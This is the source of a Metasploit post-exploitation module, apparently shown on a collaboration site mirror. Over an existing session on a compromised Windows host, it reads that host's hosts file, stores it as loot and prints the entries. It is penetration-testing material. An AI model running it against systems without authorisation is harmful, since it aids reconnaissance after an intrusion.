Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/windows/gather/enum_hostfile.rb
Views: 11655
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File78def initialize(info = {})9super(10update_info(11info,12'Name' => 'Windows Gather Windows Host File Enumeration',13'Description' => %q{14This module returns a list of entries in the target system's hosts file.15},16'License' => BSD_LICENSE,17'Author' => [ 'vt <nick.freeman[at]security-assessment.com>'],18'Platform' => [ 'win' ],19'SessionTypes' => [ 'meterpreter', 'shell' ]20)21)22end2324def run25# read in the hosts in the hosts file.26hosts = read_file 'C:\\WINDOWS\\System32\\drivers\\etc\\hosts'2728# Store the original hosts file29p = store_loot(30'hosts.confige',31'text/plain',32session,33hosts,34'hosts_file.txt',35'Windows Hosts File'36)3738# Print out each line that doesn't start w/ a comment39entries = []40hosts.each_line do |line|41next if line =~ /^[\r|\n|#]/4243entries << line.strip44end4546# Show results47if !entries.empty?48print_line('Found entries:')49entries.each do |e|50print_good(e.to_s)51end52end5354print_status("Hosts file saved: #{p}")55end56end575859